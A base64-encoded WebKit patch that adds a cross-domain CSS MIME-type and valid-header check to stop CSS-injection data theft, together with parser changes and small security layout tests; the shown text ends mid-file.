ZXQuY3BwOgorICAgICAgICBBZGQgYWJpbGl0eSB0byByZXR1cm4gd2hldGhlciB0aGUgTUlNRSB0
eXBlIHdhcyBhY2NlcHRhYmxlIGZvciBDU1MuCisKIDIwMDktMTAtMjYgIFRvbnkgQ2hhbmcgIDx0
b255QGNocm9taXVtLm9yZz4KIAogICAgICAgICBSZXZpZXdlZCBieSBFcmljIFNlaWRlbC4KSW5k
ZXg6IFdlYkNvcmUvaHRtbC9IVE1MTGlua0VsZW1lbnQuY3BwCj09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIFdlYkNv
cmUvaHRtbC9IVE1MTGlua0VsZW1lbnQuY3BwCShyZXZpc2lvbiA1MDEwMSkKKysrIFdlYkNvcmUv
aHRtbC9IVE1MTGlua0VsZW1lbnQuY3BwCSh3b3JraW5nIGNvcHkpCkBAIC0yNTksMTQgKzI1OSwy
NSBAQAogCiAgICAgYm9vbCBzdHJpY3RQYXJzaW5nID0gIWRvY3VtZW50KCktPmluQ29tcGF0TW9k
ZSgpOwogICAgIGJvb2wgZW5mb3JjZU1JTUVUeXBlID0gc3RyaWN0UGFyc2luZzsKKyAgICBib29s
IGNyb3NzRG9tYWluQ1NTID0gZmFsc2U7CisgICAgYm9vbCB2YWxpZE1JTUVUeXBlID0gZmFsc2U7
CiAKICAgICAvLyBDaGVjayB0byBzZWUgaWYgd2Ugc2hvdWxkIGVuZm9yY2UgdGhlIE1JTUUgdHlw
ZSBvZiB0aGUgQ1NTIHJlc291cmNlIGluIHN0cmljdCBtb2RlLgogICAgIC8vIFJ1bm5pbmcgaW4g
aVdlYiAyIGlzIG9uZSBleGFtcGxlIG9mIHdoZXJlIHdlIGRvbid0IHdhbnQgdG8gLSA8cmRhcjov
L3Byb2JsZW0vNjA5OTc0OD4KICAgICBpZiAoZW5mb3JjZU1JTUVUeXBlICYmIGRvY3VtZW50KCkt
PnBhZ2UoKSAmJiAhZG9jdW1lbnQoKS0+cGFnZSgpLT5zZXR0aW5ncygpLT5lbmZvcmNlQ1NTTUlN
RVR5cGVJblN0cmljdE1vZGUoKSkKICAgICAgICAgZW5mb3JjZU1JTUVUeXBlID0gZmFsc2U7CiAK
LSAgICBTdHJpbmcgc2hlZXRUZXh0ID0gc2hlZXQtPnNoZWV0VGV4dChlbmZvcmNlTUlNRVR5cGUp
OworICAgIC8vIElmIHdlJ3JlIGxvYWRpbmcgYSBzdHlsZXNoZWV0IGNyb3NzLWRvbWFpbiwgYW5k
IHRoZSBNSU1FIHR5cGUgaXMgbm90CisgICAgLy8gc3RhbmRhcmQsIHJlcXVpcmUgdGhlIENTUyB0
byBhdCBsZWFzdCBzdGFydCB3aXRoIGEgdmFsaWQgQ1NTIHJ1bGUuCisgICAgLy8gVGhpcyBwcmV2
ZW50cyBhbiBhdHRhY2tlciBwbGF5aW5nIGdhbWVzIGJ5IGluamVjdGluZyBDU1Mgc3RyaW5ncyBp
bnRvCisgICAgLy8gSFRNTCwgWE1MLCBKU09OLCBldGMuIGV0Yy4KKyAgICBpZiAoIWRvY3VtZW50
KCktPnNlY3VyaXR5T3JpZ2luKCktPmNhblJlcXVlc3QoS1VSTChQYXJzZWRVUkxTdHJpbmcsIHVy
bCkpKQorICAgICAgICBjcm9zc0RvbWFpbkNTUyA9IHRydWU7CisKKyAgICBTdHJpbmcgc2hlZXRU
ZXh0ID0gc2hlZXQtPnNoZWV0VGV4dChlbmZvcmNlTUlNRVR5cGUsICZ2YWxpZE1JTUVUeXBlKTsK
ICAgICBtX3NoZWV0LT5wYXJzZVN0cmluZyhzaGVldFRleHQsIHN0cmljdFBhcnNpbmcpOworICAg
IGlmIChjcm9zc0RvbWFpbkNTUyAmJiAhdmFsaWRNSU1FVHlwZSAmJiAhbV9zaGVldC0+aGFzR29v
ZENTU0hlYWRlcigpKQorICAgICAgICBtX3NoZWV0ID0gQ1NTU3R5bGVTaGVldDo6Y3JlYXRlKHRo
aXMsIHVybCwgY2hhcnNldCk7CiAKICAgICBpZiAoc3RyaWN0UGFyc2luZyAmJiBkb2N1bWVudCgp
LT5zZXR0aW5ncygpICYmIGRvY3VtZW50KCktPnNldHRpbmdzKCktPm5lZWRzU2l0ZVNwZWNpZmlj
UXVpcmtzKCkpIHsKICAgICAgICAgLy8gV29yayBhcm91bmQgPGh0dHBzOi8vYnVncy53ZWJraXQu
b3JnL3Nob3dfYnVnLmNnaT9pZD0yODM1MD4uCkluZGV4OiBXZWJDb3JlL2Nzcy9DU1NTdHlsZVNo
ZWV0LmNwcAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09Ci0tLSBXZWJDb3JlL2Nzcy9DU1NTdHlsZVNoZWV0LmNwcAkocmV2
aXNpb24gNTAxMDEpCisrKyBXZWJDb3JlL2Nzcy9DU1NTdHlsZVNoZWV0LmNwcAkod29ya2luZyBj
b3B5KQpAQCAtNDEsNiArNDEsNyBAQAogICAgICwgbV9sb2FkQ29tcGxldGVkKGZhbHNlKQogICAg
ICwgbV9zdHJpY3RQYXJzaW5nKCFwYXJlbnRTaGVldCB8fCBwYXJlbnRTaGVldC0+dXNlU3RyaWN0
UGFyc2luZygpKQogICAgICwgbV9pc1VzZXJTdHlsZVNoZWV0KHBhcmVudFNoZWV0ID8gcGFyZW50
U2hlZXQtPmlzVXNlclN0eWxlU2hlZXQoKSA6IGZhbHNlKQorICAgICwgbV9oYXNHb29kQ1NTSGVh
ZGVyKHRydWUpCiB7CiB9CiAKQEAgLTUyLDYgKzUzLDcgQEAKICAgICAsIG1fbG9hZENvbXBsZXRl
ZChmYWxzZSkKICAgICAsIG1fc3RyaWN0UGFyc2luZyhmYWxzZSkKICAgICAsIG1faXNVc2VyU3R5
bGVTaGVldChmYWxzZSkKKyAgICAsIG1faGFzR29vZENTU0hlYWRlcih0cnVlKQogewogfQogCkBA
IC02MSw2ICs2Myw3IEBACiAgICAgLCBtX2NoYXJzZXQoY2hhcnNldCkKICAgICAsIG1fbG9hZENv
bXBsZXRlZChmYWxzZSkKICAgICAsIG1fc3RyaWN0UGFyc2luZyghb3duZXJSdWxlIHx8IG93bmVy
UnVsZS0+dXNlU3RyaWN0UGFyc2luZygpKQorICAgICwgbV9oYXNHb29kQ1NTSGVhZGVyKHRydWUp
CiB7CiAgICAgQ1NTU3R5bGVTaGVldCogcGFyZW50U2hlZXQgPSBvd25lclJ1bGUgPyBvd25lclJ1
bGUtPnBhcmVudFN0eWxlU2hlZXQoKSA6IDA7CiAgICAgbV9kb2MgPSBwYXJlbnRTaGVldCA/IHBh
cmVudFNoZWV0LT5kb2MoKSA6IDA7CkluZGV4OiBXZWJDb3JlL2Nzcy9DU1NTdHlsZVNoZWV0LmgK
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PQotLS0gV2ViQ29yZS9jc3MvQ1NTU3R5bGVTaGVldC5oCShyZXZpc2lvbiA1MDEw
MSkKKysrIFdlYkNvcmUvY3NzL0NTU1N0eWxlU2hlZXQuaAkod29ya2luZyBjb3B5KQpAQCAtOTUs
NiArOTUsOCBAQAogCiAgICAgdm9pZCBzZXRJc1VzZXJTdHlsZVNoZWV0KGJvb2wgYikgeyBtX2lz
VXNlclN0eWxlU2hlZXQgPSBiOyB9CiAgICAgYm9vbCBpc1VzZXJTdHlsZVNoZWV0KCkgY29uc3Qg
eyByZXR1cm4gbV9pc1VzZXJTdHlsZVNoZWV0OyB9CisgICAgdm9pZCBzZXRIYXNHb29kQ1NTSGVh
ZGVyKGJvb2wgYikgeyBtX2hhc0dvb2RDU1NIZWFkZXIgPSBiOyB9CisgICAgYm9vbCBoYXNHb29k
Q1NTSGVhZGVyKCkgY29uc3QgeyByZXR1cm4gbV9oYXNHb29kQ1NTSGVhZGVyOyB9CiAKIHByaXZh
dGU6CiAgICAgQ1NTU3R5bGVTaGVldChOb2RlKiBvd25lck5vZGUsIGNvbnN0IFN0cmluZyYgaHJl
ZiwgY29uc3QgU3RyaW5nJiBjaGFyc2V0KTsKQEAgLTExMCw2ICsxMTIsNyBAQAogICAgIGJvb2wg
bV9sb2FkQ29tcGxldGVkIDogMTsKICAgICBib29sIG1fc3RyaWN0UGFyc2luZyA6IDE7CiAgICAg
Ym9vbCBtX2lzVXNlclN0eWxlU2hlZXQgOiAxOworICAgIGJvb2wgbV9oYXNHb29kQ1NTSGVhZGVy
IDogMTsKIH07CiAKIH0gLy8gbmFtZXNwYWNlCkluZGV4OiBXZWJDb3JlL2Nzcy9DU1NQYXJzZXIu
Y3BwCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT0KLS0tIFdlYkNvcmUvY3NzL0NTU1BhcnNlci5jcHAJKHJldmlzaW9uIDUw
MTAxKQorKysgV2ViQ29yZS9jc3MvQ1NTUGFyc2VyLmNwcAkod29ya2luZyBjb3B5KQpAQCAtMTM5
LDYgKzEzOSw3IEBACiAgICAgLCBtX2N1cnJlbnRTaG9ydGhhbmQoMCkKICAgICAsIG1faW1wbGlj
aXRTaG9ydGhhbmQoZmFsc2UpCiAgICAgLCBtX2hhc0ZvbnRGYWNlT25seVZhbHVlcyhmYWxzZSkK
KyAgICAsIG1faGFkR29vZENTU1J1bGUoZmFsc2UpCiAgICAgLCBtX2RlZmF1bHROYW1lc3BhY2Uo
c3RhckF0b20pCiAgICAgLCBtX2RhdGEoMCkKICAgICAsIHl5X3N0YXJ0KDEpCkBAIC01MTYwLDYg
KzUxNjEsMTIgQEAKICAgICByZXR1cm4ga2V5ZnJhbWVQdHI7CiB9CiAKK3ZvaWQKK0NTU1BhcnNl
cjo6aW52YWxpZEJsb2NrSGl0KCkgeworICAgIGlmIChtX3N0eWxlU2hlZXQgJiYgIW1faGFkR29v
ZENTU1J1bGUpCisgICAgICAgIG1fc3R5bGVTaGVldC0+c2V0SGFzR29vZENTU0hlYWRlcihmYWxz
ZSk7Cit9CisKIHN0YXRpYyBpbnQgY3NzUHJvcGVydHlJRChjb25zdCBVQ2hhciogcHJvcGVydHlO
YW1lLCB1bnNpZ25lZCBsZW5ndGgpCiB7CiAgICAgaWYgKCFsZW5ndGgpCkluZGV4OiBXZWJDb3Jl
L2Nzcy9DU1NHcmFtbWFyLnkKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gV2ViQ29yZS9jc3MvQ1NTR3JhbW1hci55
CShyZXZpc2lvbiA1MDEwMSkKKysrIFdlYkNvcmUvY3NzL0NTU0dyYW1tYXIueQkod29ya2luZyBj
b3B5KQpAQCAtNDE2LDcgKzQxNiw5IEBACiAgIDsKIAogcnVsZToKLSAgICB2YWxpZF9ydWxlCisg
ICAgdmFsaWRfcnVsZSB7CisgICAgICAgIHN0YXRpY19jYXN0PENTU1BhcnNlcio+KHBhcnNlcikt
Pm1faGFkR29vZENTU1J1bGUgPSB0cnVlOworICAgIH0KICAgfCBpbnZhbGlkX3J1bGUKICAgfCBp
bnZhbGlkX2F0CiAgIHwgaW52YWxpZF9pbXBvcnQKQEAgLTE1MTcsOCArMTUxOSwxMiBAQAogICAg
IDsKIAogaW52YWxpZF9ibG9jazoKLSAgICAneycgZXJyb3IgaW52YWxpZF9ibG9ja19saXN0IGVy
cm9yIGNsb3NpbmdfYnJhY2UKLSAgfCAneycgZXJyb3IgY2xvc2luZ19icmFjZQorICAgICd7JyBl
cnJvciBpbnZhbGlkX2Jsb2NrX2xpc3QgZXJyb3IgY2xvc2luZ19icmFjZSB7CisgICAgICAgIHN0
YXRpY19jYXN0PENTU1BhcnNlcio+KHBhcnNlciktPmludmFsaWRCbG9ja0hpdCgpOworICAgIH0K
KyAgfCAneycgZXJyb3IgY2xvc2luZ19icmFjZSB7CisgICAgICAgIHN0YXRpY19jYXN0PENTU1Bh
cnNlcio+KHBhcnNlciktPmludmFsaWRCbG9ja0hpdCgpOworICAgIH0KICAgICA7CiAKIGludmFs
aWRfYmxvY2tfbGlzdDoKSW5kZXg6IFdlYkNvcmUvY3NzL0NTU1BhcnNlci5oCj09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0K
LS0tIFdlYkNvcmUvY3NzL0NTU1BhcnNlci5oCShyZXZpc2lvbiA1MDEwMSkKKysrIFdlYkNvcmUv
Y3NzL0NTU1BhcnNlci5oCSh3b3JraW5nIGNvcHkpCkBAIC0xOTEsNiArMTkxLDcgQEAKICAgICAg
ICAgYm9vbCBhZGRWYXJpYWJsZURlY2xhcmF0aW9uQmxvY2soY29uc3QgQ1NTUGFyc2VyU3RyaW5n
Jik7CiAgICAgICAgIGJvb2wgY2hlY2tGb3JWYXJpYWJsZXMoQ1NTUGFyc2VyVmFsdWVMaXN0Kik7
CiAgICAgICAgIHZvaWQgYWRkVW5yZXNvbHZlZFByb3BlcnR5KGludCBwcm9wSWQsIGJvb2wgaW1w
b3J0YW50KTsKKyAgICAgICAgdm9pZCBpbnZhbGlkQmxvY2tIaXQoKTsKICAgICAgICAgCiAgICAg
ICAgIFZlY3RvcjxDU1NTZWxlY3Rvcio+KiByZXVzYWJsZVNlbGVjdG9yVmVjdG9yKCkgeyByZXR1
cm4gJm1fcmV1c2FibGVTZWxlY3RvclZlY3RvcjsgfQogICAgICAgICAKQEAgLTIxMiw2ICsyMTMs
NyBAQAogICAgICAgICBib29sIG1faW1wbGljaXRTaG9ydGhhbmQ7CiAKICAgICAgICAgYm9vbCBt
X2hhc0ZvbnRGYWNlT25seVZhbHVlczsKKyAgICAgICAgYm9vbCBtX2hhZEdvb2RDU1NSdWxlOwog
CiAgICAgICAgIFZlY3RvcjxTdHJpbmc+IG1fdmFyaWFibGVOYW1lczsKICAgICAgICAgVmVjdG9y
PFJlZlB0cjxDU1NWYWx1ZT4gPiBtX3ZhcmlhYmxlVmFsdWVzOwpJbmRleDogV2ViQ29yZS9jc3Mv
Q1NTSW1wb3J0UnVsZS5jcHAKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gV2ViQ29yZS9jc3MvQ1NTSW1wb3J0UnVs
ZS5jcHAJKHJldmlzaW9uIDUwMTAxKQorKysgV2ViQ29yZS9jc3MvQ1NTSW1wb3J0UnVsZS5jcHAJ
KHdvcmtpbmcgY29weSkKQEAgLTI2LDYgKzI2LDcgQEAKICNpbmNsdWRlICJEb2NMb2FkZXIuaCIK
ICNpbmNsdWRlICJEb2N1bWVudC5oIgogI2luY2x1ZGUgIk1lZGlhTGlzdC5oIgorI2luY2x1ZGUg
IlNlY3VyaXR5T3JpZ2luLmgiCiAjaW5jbHVkZSAiU2V0dGluZ3MuaCIKICNpbmNsdWRlIDx3dGYv
U3RkTGliRXh0cmFzLmg+CiAKQEAgLTYxLDExICs2MiwxOCBAQAogICAgIG1fc3R5bGVTaGVldCA9
IENTU1N0eWxlU2hlZXQ6OmNyZWF0ZSh0aGlzLCB1cmwsIGNoYXJzZXQpOwogCiAgICAgQ1NTU3R5
bGVTaGVldCogcGFyZW50ID0gcGFyZW50U3R5bGVTaGVldCgpOwotICAgIGJvb2wgc3RyaWN0ID0g
IXBhcmVudCB8fCBwYXJlbnQtPnVzZVN0cmljdFBhcnNpbmcoKTsKLSAgICBTdHJpbmcgc2hlZXRU
ZXh0ID0gc2hlZXQtPnNoZWV0VGV4dChzdHJpY3QpOwotICAgIG1fc3R5bGVTaGVldC0+cGFyc2VT
dHJpbmcoc2hlZXRUZXh0LCBzdHJpY3QpOworICAgIGJvb2wgZW5mb3JjZU1JTUVUeXBlID0gIXBh
cmVudCB8fCBwYXJlbnQtPnVzZVN0cmljdFBhcnNpbmcoKTsKKyAgICBib29sIGNyb3NzRG9tYWlu
Q1NTID0gZmFsc2U7CisgICAgYm9vbCB2YWxpZE1JTUVUeXBlID0gZmFsc2U7CisgICAgaWYgKCFw
YXJlbnQtPmRvYygpIHx8ICFwYXJlbnQtPmRvYygpLT5zZWN1cml0eU9yaWdpbigpLT5jYW5SZXF1
ZXN0KEtVUkwoUGFyc2VkVVJMU3RyaW5nLCB1cmwpKSkKKyAgICAgICAgY3Jvc3NEb21haW5DU1Mg
PSB0cnVlOwogCi0gICAgaWYgKHN0cmljdCAmJiBwYXJlbnQgJiYgcGFyZW50LT5kb2MoKSAmJiBw
YXJlbnQtPmRvYygpLT5zZXR0aW5ncygpICYmIHBhcmVudC0+ZG9jKCktPnNldHRpbmdzKCktPm5l
ZWRzU2l0ZVNwZWNpZmljUXVpcmtzKCkpIHsKKyAgICBTdHJpbmcgc2hlZXRUZXh0ID0gc2hlZXQt
PnNoZWV0VGV4dChlbmZvcmNlTUlNRVR5cGUsICZ2YWxpZE1JTUVUeXBlKTsKKyAgICBtX3N0eWxl
U2hlZXQtPnBhcnNlU3RyaW5nKHNoZWV0VGV4dCwgZW5mb3JjZU1JTUVUeXBlKTsKKyAgICBpZiAo
Y3Jvc3NEb21haW5DU1MgJiYgIXZhbGlkTUlNRVR5cGUgJiYgIW1fc3R5bGVTaGVldC0+aGFzR29v
ZENTU0hlYWRlcigpKQorICAgICAgICBtX3N0eWxlU2hlZXQgPSBDU1NTdHlsZVNoZWV0OjpjcmVh
dGUodGhpcywgdXJsLCBjaGFyc2V0KTsKKworICAgIGlmIChlbmZvcmNlTUlNRVR5cGUgJiYgcGFy
ZW50ICYmIHBhcmVudC0+ZG9jKCkgJiYgcGFyZW50LT5kb2MoKS0+c2V0dGluZ3MoKSAmJiBwYXJl
bnQtPmRvYygpLT5zZXR0aW5ncygpLT5uZWVkc1NpdGVTcGVjaWZpY1F1aXJrcygpKSB7CiAgICAg
ICAgIC8vIFdvcmsgYXJvdW5kIDxodHRwczovL2J1Z3Mud2Via2l0Lm9yZy9zaG93X2J1Zy5jZ2k/
aWQ9MjgzNTA+LgogICAgICAgICBERUZJTkVfU1RBVElDX0xPQ0FMKGNvbnN0IFN0cmluZywgc2xh
c2hLSFRNTEZpeGVzRG90Q3NzLCAoIi9LSFRNTEZpeGVzLmNzcyIpKTsKICAgICAgICAgREVGSU5F
X1NUQVRJQ19MT0NBTChjb25zdCBTdHJpbmcsIG1lZGlhV2lraUtIVE1MRml4ZXNTdHlsZVNoZWV0
LCAoIi8qIEtIVE1MIGZpeCBzdHlsZXNoZWV0ICovXG4vKiB3b3JrIGFyb3VuZCB0aGUgaG9yaXpv
bnRhbCBzY3JvbGxiYXJzICovXG4jY29sdW1uLWNvbnRlbnQgeyBtYXJnaW4tbGVmdDogMDsgfVxu
XG4iKSk7CkluZGV4OiBXZWJDb3JlL2xvYWRlci9DYWNoZWRDU1NTdHlsZVNoZWV0LmgKPT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PQotLS0gV2ViQ29yZS9sb2FkZXIvQ2FjaGVkQ1NTU3R5bGVTaGVldC5oCShyZXZpc2lvbiA1
MDEwMSkKKysrIFdlYkNvcmUvbG9hZGVyL0NhY2hlZENTU1N0eWxlU2hlZXQuaAkod29ya2luZyBj
b3B5KQpAQCAtNDAsNyArNDAsNyBAQAogICAgICAgICBDYWNoZWRDU1NTdHlsZVNoZWV0KGNvbnN0
IFN0cmluZyYgVVJMLCBjb25zdCBTdHJpbmcmIGNoYXJzZXQpOwogICAgICAgICB2aXJ0dWFsIH5D
YWNoZWRDU1NTdHlsZVNoZWV0KCk7CiAKLSAgICAgICAgY29uc3QgU3RyaW5nIHNoZWV0VGV4dChi
b29sIGVuZm9yY2VNSU1FVHlwZSA9IHRydWUpIGNvbnN0OworICAgICAgICBjb25zdCBTdHJpbmcg
c2hlZXRUZXh0KGJvb2wgZW5mb3JjZU1JTUVUeXBlID0gdHJ1ZSwgYm9vbCogaGFzVmFsaWRNSU1F
VHlwZSA9IDApIGNvbnN0OwogCiAgICAgICAgIHZpcnR1YWwgdm9pZCBkaWRBZGRDbGllbnQoQ2Fj
aGVkUmVzb3VyY2VDbGllbnQqKTsKICAgICAgICAgCkBAIC01Niw3ICs1Niw3IEBACiAgICAgICAg
IHZvaWQgY2hlY2tOb3RpZnkoKTsKICAgICAKICAgICBwcml2YXRlOgotICAgICAgICBib29sIGNh
blVzZVNoZWV0KGJvb2wgZW5mb3JjZU1JTUVUeXBlKSBjb25zdDsKKyAgICAgICAgYm9vbCBjYW5V
c2VTaGVldChib29sIGVuZm9yY2VNSU1FVHlwZSwgYm9vbCogaGFzVmFsaWRNSU1FVHlwZSkgY29u
c3Q7CiAKICAgICBwcm90ZWN0ZWQ6CiAgICAgICAgIFJlZlB0cjxUZXh0UmVzb3VyY2VEZWNvZGVy
PiBtX2RlY29kZXI7CkluZGV4OiBXZWJDb3JlL2xvYWRlci9DYWNoZWRDU1NTdHlsZVNoZWV0LmNw
cAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09Ci0tLSBXZWJDb3JlL2xvYWRlci9DYWNoZWRDU1NTdHlsZVNoZWV0LmNwcAko
cmV2aXNpb24gNTAxMDEpCisrKyBXZWJDb3JlL2xvYWRlci9DYWNoZWRDU1NTdHlsZVNoZWV0LmNw
cAkod29ya2luZyBjb3B5KQpAQCAtNzEsMTEgKzcxLDExIEBACiAgICAgcmV0dXJuIG1fZGVjb2Rl
ci0+ZW5jb2RpbmcoKS5uYW1lKCk7CiB9CiAgICAgCi1jb25zdCBTdHJpbmcgQ2FjaGVkQ1NTU3R5
bGVTaGVldDo6c2hlZXRUZXh0KGJvb2wgZW5mb3JjZU1JTUVUeXBlKSBjb25zdCAKK2NvbnN0IFN0
cmluZyBDYWNoZWRDU1NTdHlsZVNoZWV0OjpzaGVldFRleHQoYm9vbCBlbmZvcmNlTUlNRVR5cGUs
IGJvb2wqIGhhc1ZhbGlkTUlNRVR5cGUpIGNvbnN0IAogeyAKICAgICBBU1NFUlQoIWlzUHVyZ2Vh
YmxlKCkpOwogCi0gICAgaWYgKCFtX2RhdGEgfHwgbV9kYXRhLT5pc0VtcHR5KCkgfHwgIWNhblVz
ZVNoZWV0KGVuZm9yY2VNSU1FVHlwZSkpCisgICAgaWYgKCFtX2RhdGEgfHwgbV9kYXRhLT5pc0Vt
cHR5KCkgfHwgIWNhblVzZVNoZWV0KGVuZm9yY2VNSU1FVHlwZSwgaGFzVmFsaWRNSU1FVHlwZSkp
CiAgICAgICAgIHJldHVybiBTdHJpbmcoKTsKICAgICAKICAgICBpZiAoIW1fZGVjb2RlZFNoZWV0
VGV4dC5pc051bGwoKSkKQEAgLTEyMiwxMiArMTIyLDEyIEBACiAgICAgY2hlY2tOb3RpZnkoKTsK
IH0KIAotYm9vbCBDYWNoZWRDU1NTdHlsZVNoZWV0OjpjYW5Vc2VTaGVldChib29sIGVuZm9yY2VN
SU1FVHlwZSkgY29uc3QKK2Jvb2wgQ2FjaGVkQ1NTU3R5bGVTaGVldDo6Y2FuVXNlU2hlZXQoYm9v
bCBlbmZvcmNlTUlNRVR5cGUsIGJvb2wqIGhhc1ZhbGlkTUlNRVR5cGUpIGNvbnN0CiB7CiAgICAg
aWYgKGVycm9yT2NjdXJyZWQoKSkKICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAKLSAg
ICBpZiAoIWVuZm9yY2VNSU1FVHlwZSkKKyAgICBpZiAoIWVuZm9yY2VNSU1FVHlwZSAmJiAhaGFz
VmFsaWRNSU1FVHlwZSkKICAgICAgICAgcmV0dXJuIHRydWU7CiAKICAgICAvLyBUaGlzIGNoZWNr
IGV4YWN0bHkgbWF0Y2hlcyBGaXJlZm94LiAgTm90ZSB0aGF0IHdlIGdyYWIgdGhlIENvbnRlbnQt
VHlwZQpAQCAtMTM4LDcgKzEzOCwxMiBAQAogICAgIC8vIFRoaXMgY29kZSBkZWZhdWx0cyB0byBh
bGxvd2luZyB0aGUgc3R5bGVzaGVldCBmb3Igbm9uLUhUVFAgcHJvdG9jb2xzIHNvCiAgICAgLy8g
Zm9sa3MgY2FuIHVzZSBzdGFuZGFyZHMgbW9kZSBmb3IgbG9jYWwgSFRNTCBkb2N1bWVudHMuCiAg
ICAgU3RyaW5nIG1pbWVUeXBlID0gZXh0cmFjdE1JTUVUeXBlRnJvbU1lZGlhVHlwZShyZXNwb25z
ZSgpLmh0dHBIZWFkZXJGaWVsZCgiQ29udGVudC1UeXBlIikpOwotICAgIHJldHVybiBtaW1lVHlw
ZS5pc0VtcHR5KCkgfHwgZXF1YWxJZ25vcmluZ0Nhc2UobWltZVR5cGUsICJ0ZXh0L2NzcyIpIHx8
IGVxdWFsSWdub3JpbmdDYXNlKG1pbWVUeXBlLCAiYXBwbGljYXRpb24veC11bmtub3duLWNvbnRl
bnQtdHlwZSIpOworICAgIGJvb2wgdHlwZU9LID0gbWltZVR5cGUuaXNFbXB0eSgpIHx8IGVxdWFs
SWdub3JpbmdDYXNlKG1pbWVUeXBlLCAidGV4dC9jc3MiKSB8fCBlcXVhbElnbm9yaW5nQ2FzZSht
aW1lVHlwZSwgImFwcGxpY2F0aW9uL3gtdW5rbm93bi1jb250ZW50LXR5cGUiKTsKKyAgICBpZiAo
aGFzVmFsaWRNSU1FVHlwZSkKKyAgICAgICAgKmhhc1ZhbGlkTUlNRVR5cGUgPSB0eXBlT0s7Cisg
ICAgaWYgKCFlbmZvcmNlTUlNRVR5cGUpCisgICAgICAgIHJldHVybiB0cnVlOworICAgIHJldHVy
biB0eXBlT0s7CiB9CiAgCiB9CkluZGV4OiBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5
L2Nyb3NzLWRvbWFpbi1jc3MtZXhwZWN0ZWQudHh0Cj09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIExheW91dFRlc3Rz
L2h0dHAvdGVzdHMvc2VjdXJpdHkvY3Jvc3MtZG9tYWluLWNzcy1leHBlY3RlZC50eHQJKHJldmlz
aW9uIDApCisrKyBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L2Nyb3NzLWRvbWFpbi1j
c3MtZXhwZWN0ZWQudHh0CShyZXZpc2lvbiAwKQpAQCAtMCwwICsxLDcgQEAKK0xJTksgQ3Jvc3Mt
ZG9tYWluLCBIVE1MLCB2YWxpZDogcmdiKDI1NSwgMjU1LCAwKQorTElOSyArIElNUE9SVCBDcm9z
cy1kb21haW4sIEhUTUwsIGludmFsaWQ6IHJnYmEoMCwgMCwgMCwgMCkKK0xJTksgQ3Jvc3MtZG9t
YWluLCBDU1MsIGludmFsaWQ6IHJnYigyNTUsIDI1NSwgMCkKK0xJTksgU2FtZS1kb21haW4sIEhU
TUwsIGludmFsaWQ6IHJnYigyNTUsIDI1NSwgMCkKK0lNUE9SVCBDcm9zcy1kb21haW4sIEhUTUws
IHZhbGlkOiByZ2IoMjU1LCAyNTUsIDApCitJTVBPUlQgQ3Jvc3MtZG9tYWluLCBDU1MsIGludmFs
aWQ6IHJnYigyNTUsIDI1NSwgMCkKK0lNUE9SVCBTYW1lLWRvbWFpbiwgSFRNTCwgaW52YWxpZDog
cmdiKDI1NSwgMjU1LCAwKQpJbmRleDogTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9y
ZXNvdXJjZXMveGRvbWNzczEuaHRtbAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBMYXlvdXRUZXN0cy9odHRwL3Rl
c3RzL3NlY3VyaXR5L3Jlc291cmNlcy94ZG9tY3NzMS5odG1sCShyZXZpc2lvbiAwKQorKysgTGF5
b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveGRvbWNzczEuaHRtbAkocmV2
aXNpb24gMCkKQEAgLTAsMCArMSwzIEBACisuaWQxIHsKKyAgYmFja2dyb3VuZC1jb2xvcjogeWVs
bG93OworfQpJbmRleDogTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMv
eGRvbWNzczUuaHRtbAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3Vy
aXR5L3Jlc291cmNlcy94ZG9tY3NzNS5odG1sCShyZXZpc2lvbiAwKQorKysgTGF5b3V0VGVzdHMv
aHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveGRvbWNzczUuaHRtbAkocmV2aXNpb24gMCkK
QEAgLTAsMCArMSw1IEBACis8aHRtbD57fQorLmlkNyB7CisgIGJhY2tncm91bmQtY29sb3I6IHll
bGxvdzsKK30KKzwvaHRtbD4KSW5kZXg6IExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkv
cmVzb3VyY2VzL3hkb21jc3MxLmNzcwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBMYXlvdXRUZXN0cy9odHRwL3Rl
c3RzL3NlY3VyaXR5L3Jlc291cmNlcy94ZG9tY3NzMS5jc3MJKHJldmlzaW9uIDApCisrKyBMYXlv
